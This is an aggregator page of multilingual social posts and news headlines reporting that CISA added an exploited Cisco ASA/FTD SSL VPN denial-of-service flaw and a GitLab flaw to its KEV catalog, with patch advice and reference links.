  • social mastobot.ping.moi @cyberveille 2026-10-30 09:00 UTC
    📢 [VULN] CISA : une faille GitLab CVSS 10 et un bug Cisco exploités - CVE-2026-97229 CVE-2026-76418 L’agence américaine CISA a ajouté jeudi deux vulnérabilités à son catalogue KEV. Ce registre recense, en effet, les failles exploitées acti…
    Open source
  • social bsky.app @securityonline.bsky.social 2026-10-30 08:43 UTC
    Hackers are actively exploiting a Cisco firewall DoS vulnerability in ASA and FTD devices, forcing sudden reboots without authentication. #Cisco #CiscoASA #Cybersecurity #Firewall #NetworkSecurity #DoS
    Open source
  • social bsky.app 2026-10-30 08:25 UTC
    [1/2] Cisco ASA/FTD CVE-2026-76418 (CVSS 8.6) sfruttata in the wild: attaccante non autenticato fa riavviare il firewall via SSL VPN. Colpiti solo i tunnel group con secondary authentication (DefaultWEBVPNGroup incluso). #infosec
    Open source
  • social bsky.app @trinacriatech.bsky.social 2026-10-30 08:25 UTC
    [1/2] Cisco ASA/FTD CVE-2026-76418 (CVSS 8.6) sfruttata in the wild: attaccante non autenticato fa riavviare il firewall via SSL VPN. Colpiti solo i tunnel group con secondary authentication (DefaultWEBVPNGroup incluso). #infosec
    Open source
  • social cyberplace.social @116229556406949908 2026-10-30 08:24 UTC
    Cisco ASA/FTD CVE-2026-76418 (CVSS 8.6): errore logico nella secondary authentication del Remote Access SSL VPN. Un attaccante non autenticato può forzare il reload del firewall (DoS). Cisco conferma lo sfruttamento in the wild; attori e s…
    Open source
  • social bsky.app @cybowl.bsky.social 2026-10-30 08:15 UTC
    🔴 Exploitation confirmée (CISA KEV, ajouts du 29/10) · 2 • Cisco Secure Firewall ASA Software and Cisco Secure FTD Software CVE-2026-76418, CVSS 8.6 • GitLab Community Edition and Enterprise Edition CVE-2026-97229, CVSS 10.0
    Open source
  • social bsky.app @duonggiakhanh.com 2026-10-30 08:00 UTC
    Patch your Cisco ASA/FTD 🔥 CVE-2026-76418 (CVSS 8.6) lets an unauthenticated remote attacker reload the firewall if SSL VPN secondary auth is on. Cisco says it's exploited in the wild. DoS only, no RCE reported, but a VPN that keeps reboot…
    Open source
  • social mastodon.social @hacksgr 2026-10-30 07:56 UTC
    The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added two security flaws impacting Cisco and GitLab software to its Known Exploited Vulnerabilities (KEV) catalog. CVE-2026-97229 affects GitLab Community and Enterprise Edit…
    Open source
  • news rescana.com 2026-10-30 07:37 UTC
    Cisco Secure Firewall ASA and FTD CVE-2026-76418: Exploited SSL VPN DoS Flaw Added to CISA KEV - Rescana
    Open source
  • news thehackernews.com 2026-10-30 07:27 UTC
    CISA Adds Actively Exploited GitLab RCE and Cisco Firewall DoS Flaws to KEV - The Hacker News
    Open source
  • social bsky.app @shiojiri.com 2026-10-30 06:58 UTC
    シスコ製ファイアウォールに新たなDoSのゼロデイ、シスコは10月に悪用認識：CVE-2026-76418 | Codebook｜Security News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/48322/
    Open source
  • social bsky.app @threatspotai.bsky.social 2026-10-30 06:30 UTC
    🚨 CISA KEV Alert CVE-2026-76418: ⚠️ CVE-2026-76418: New Actively Exploited Vulnerability Added to CISA KEV Severity: HIGH | CVSS: 0.0 | EPSS: 0.6% Actively exploited Read the full alert: https://threatspot.ai/alerts/2026-76418-a-vulnerabil…
    Open source
  • social bsky.app @kotosecurity.bsky.social 2026-10-30 05:02 UTC
    BREAKING: Cisco ASA/FTD zero-day CVE-2026-76418 actively exploited in the wild — unauthenticated remote attackers crash SSL VPN devices via crafted requests. 51K+ devices exposed online. Patch now or disable secondary auth on DefaultWEBVPN…
    Open source

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-76418
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-tunnel-dos-s6mgkb75
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76418